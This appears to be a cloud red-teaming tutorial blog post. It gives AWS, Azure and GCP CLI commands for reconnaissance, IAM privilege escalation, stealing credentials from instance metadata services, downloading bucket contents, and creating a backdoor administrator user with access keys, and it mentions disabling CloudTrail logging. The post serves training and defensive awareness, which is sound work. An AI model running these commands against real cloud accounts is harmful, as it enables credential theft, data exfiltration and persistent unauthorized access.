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Introduction:
The shift to cloud infrastructure has revolutionized business operations but has also created a vast new attack surface for adversaries. Cloud Red Teaming, formalized by certifications like the MCRTA, involves simulating advanced threat actors to identify weaknesses in cloud deployments before they are exploited maliciously. This proactive adversarial simulation is crucial for understanding and mitigating risks across core services like IAM, Compute, and Storage in major platforms like AWS, Azure, and GCP.
Learning Objectives:
- Understand the core methodology and tools used in a Cloud Red Team engagement.
- Learn practical, cross-platform commands for reconnaissance, privilege escalation, and lateral movement in cloud environments.
- Develop strategies to harden IAM, RBAC, and key cloud services against adversarial techniques.
You Should Know:
1. The Foundation: Reconnaissance & Asset Discovery
The initial phase of any cloud attack is extensive reconnaissance to map the target’s digital footprint. Adversaries use a mix of open-source intelligence (OSINT) and authenticated CLI commands to discover exposed assets, storage buckets, and misconfigured services.
Step‑by‑step guide explaining what this does and how to use it.
Open-Source Recon: Use tools like amass, subfinder, and `cloud_enum` to find subdomains and cloud assets.
Enumerate for potential cloud assets across multiple providers python3 cloud_enum.py -k <target_keyword> -t 20
Authenticated CLI Recon: Once initial access is gained (e.g., via compromised credentials), use provider CLIs to map resources.
AWS - List critical resources aws sts get-caller-identity Identify current user/role aws s3 ls List S3 buckets aws ec2 describe-instances Enumerate EC2 instances Azure - Enumerate resources az ad signed-in-user show Get current user context az storage account list List storage accounts az vm list -o table List virtual machines GCP - Project Discovery gcloud config list Check active configuration gcloud projects list List accessible projects gcloud compute instances list List Compute Engine instances
- The Crown Jewels: Targeting Identity & Access Management (IAM)
IAM is the primary attack vector in the cloud. The goal is to identify privilege escalation paths, misconfigured roles, and over-permissive policies to gain higher levels of access.
Step‑by‑step guide explaining what this does and how to use it.
Enumerate Permissions: Systematically check the permissions associated with your current credentials.
AWS - Simulate policies to find privilege escalation aws iam list-attached-user-policies --user-name <username> aws iam simulate-principal-policy --policy-source-arn <user_arn> --action-names "s3:" "iam:" Azure - Check role assignments az role assignment list --assignee <your-upn> --include-classic-administrators GCP - Check IAM policy and testable permissions gcloud projects get-iam-policy <project-id>
Exploit Common Misconfigurations: Look for roles with wildcard permissions (“) or actions that allow credential modification (e.g., iam:PassRole, iam:UpdateAssumeRolePolicy).
3. Lateral Movement via Compute Instances
Compromised compute instances (EC2, VM, Compute Engine) are often used as launchpads to access internal networks or steal metadata credentials.
Step‑by‑step guide explaining what this does and how to use it.
Exploit User Data/Metadata: Instance metadata services can expose temporary credentials or sensitive data.
AWS EC2 Instance Metadata Service (IMDS) v1 & v2 curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ Get attached IAM role credentials Azure Instance Metadata Service (IMDS) curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" GCP Metadata Server curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/"
Pivot via SSM or Custom Scripts: Use managed services like AWS Systems Manager (SSM) or custom scripts to execute commands on other instances if permissions allow.
4. Exfiltrating Data from Cloud Storage
Unsecured storage services (S3, Blob Storage, Cloud Storage) are frequent targets for data theft. Adversaries scan for publicly accessible or internally accessible buckets.
Step‑by‑step guide explaining what this does and how to use it.
Identify and Access Storage:
AWS S3 - Check for public/authenticated access aws s3 ls s3://target-bucket/ --recursive aws s3 cp s3://target-bucket/secret-file.txt . Attempt download Azure Storage - List and download blobs az storage container list --account-name <account_name> az storage blob download --container-name <container> --name <blob> --file ./local_copy GCP Cloud Storage gsutil ls gs://bucket-name/ gsutil cp gs://bucket-name/object ./
Mitigation Check: Always ensure buckets follow the principle of least privilege and have logging enabled via services like AWS CloudTrail or Azure Storage Analytics.
5. Persistence & Defense Evasion in the Cloud
A sophisticated adversary will establish backdoors to maintain access. This involves creating persistent users, hidden functions, or altering security configurations.
Step‑by‑step guide explaining what this does and how to use it.
Create Backdoor Users/IAM Roles: Add new credentials with elevated privileges.
AWS - Create a new admin user and attach policy aws iam create-user --user-name BackdoorUser aws iam attach-user-policy --user-name BackdoorUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess aws iam create-access-key --user-name BackdoorUser
Deploy Serverless Backdoors: Use Lambda or Azure Functions to execute periodic callbacks.
Example AWS Lambda function (Python) that exfiltrates environment data ZIP and deploy via CLI: `aws lambda create-function ...`
Disable Logging: In some cases, adversaries may attempt to stop or delete log trails (e.g., CloudTrail). Monitor for these API calls: StopLogging, DeleteTrail.
What Undercode Say:
- Identity is the New Perimeter: Over 90% of cloud breaches originate from IAM misconfigurations and over-permissive roles. Continuous auditing of permissions and adherence to the principle of least privilege is non-negotiable.
- The Adversary Uses Your Tools: Legitimate provider CLIs and SDKs are the primary tools of the cloud red teamer and real attackers. Defenders must monitor for unusual CLI activity, not just exotic malware, and treat internal credential compromise as a primary scenario.
Analysis: The MCRTA methodology underscores a paradigm shift from network-centric to identity-centric security. The attack cycle—recon, initial access (often via credential phishing or leaks), privilege escalation via IAM, lateral movement via compute/storage, and persistence—maps directly to the MITRE Cloud ATT&CK matrix. Defenders must adopt an adversarial mindset, routinely running these same commands in their own environments to see what an attacker would find. Security training must evolve beyond firewall rules to deeply understand the semantics of IAM policies, trust relationships between services, and the intricate logging features of each cloud provider.
Prediction:
The future of cloud security will be dominated by AI-driven anomaly detection in IAM behavior and automated remediation. As red team methodologies become standardized (as seen with MCRTA), offensive tools will become more automated, leading to faster exploitation cycles. Conversely, defensive platforms will increasingly leverage AI to baseline normal API and CLI patterns, automatically revoking suspicious permissions and isolating compromised identities in real-time. The arms race will move from the network layer to the identity and configuration layer, making continuous, automated security posture management a core requirement for all cloud deployments.
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Reported By: Ahad Khan – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
